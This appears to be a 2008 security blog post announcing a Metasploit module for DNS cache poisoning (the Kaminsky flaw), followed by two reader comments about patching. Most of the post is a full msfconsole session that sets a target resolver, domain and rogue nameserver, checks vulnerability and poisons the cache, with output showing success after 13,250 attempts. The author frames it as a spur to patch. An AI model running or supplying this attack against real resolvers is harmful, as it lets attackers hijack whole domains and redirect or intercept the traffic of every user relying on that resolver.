Thursday, July 24, 2008

U CAN HAZ METASPLOIT TOO. ENJOI.

(svn update will pull the current code in... it's under intense revisioning right now; something like 6 revisions in 5 hours this morning)

The current version will actually replace the cached entries for the name server itself, allowing you to hijack entire domains at once. Previous code (form earlier this morning) would allow you to take over individual entries (e.g. randomwhatever.example.com), but now you can take over (*.example.com).

Patch up, children.

-n

http://www.caughq.org/exploits/CAU-EX-2008-0003.txt

# /msf3/msfconsole

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=[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 73 aux

msf > use auxiliary/spoof/dns/bailiwicked_domain
msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D
RHOST => A.B.C.D
msf auxiliary(bailiwicked_domain) > set DOMAIN example.com
DOMAIN => example.com
msf auxiliary(bailiwicked_domain) > set NEWDNS dns01.metasploit.com
NEWDNS => dns01.metasploit.com
msf auxiliary(bailiwicked_domain) > set SRCPORT 0
SRCPORT => 0
msf auxiliary(bailiwicked_domain) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] FAIL: This server uses static source ports and is vulnerable to poisoning
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D

b.iana-servers.net.
a.iana-servers.net.

msf auxiliary(bailiwicked_domain) > run
[*] Switching to target port 50391 based on Metasploit service
[*] Targeting nameserver A.B.C.D for injection of example.com. nameservers as dns01.metasploit.com
[*] Querying recon nameserver for example.com.'s nameservers...
[*] Got an NS record: example.com. 171957 IN NS b.iana-servers.net.
[*] Querying recon nameserver for address of b.iana-servers.net....
[*] Got an A record: b.iana-servers.net. 171028 IN A 193.0.0.236
[*] Checking Authoritativeness: Querying 193.0.0.236 for example.com....
[*] b.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Got an NS record: example.com. 171957 IN NS a.iana-servers.net.
[*] Querying recon nameserver for address of a.iana-servers.net....
[*] Got an A record: a.iana-servers.net. 171414 IN A 192.0.34.43
[*] Checking Authoritativeness: Querying 192.0.34.43 for example.com....
[*] a.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject poison records for example.com.'s nameservers into A.B.C.D:50391...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Sent 8000 queries and 160000 spoofed responses...
[*] Sent 9000 queries and 180000 spoofed responses...
[*] Sent 10000 queries and 200000 spoofed responses...
[*] Sent 11000 queries and 220000 spoofed responses...
[*] Sent 12000 queries and 240000 spoofed responses...
[*] Sent 13000 queries and 260000 spoofed responses...
[*] Poisoning successful after 13250 attempts: example.com. == dns01.metasploit.com
[*] Auxiliary module execution completed

msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D

dns01.metasploit.com.

2 comments:

Josh said...

LOL, u iz funnai.

Everyone is scrambling at my work, patching all the DNS servers tonight. It has been deemed 'escalated need', which basically means, "OH NOES!"

natron said...

At least you guys are doing something about it. This morning I listened in on a call to a-person-who-won't-be-named that's in charge of DNS/net infrastructure for a very large, distributed organization, whose response was:

"Meh, whatever. We'll get to it if it's included with the OS on our next server roll out."

I can haz pwned users tew. Awesomelulz.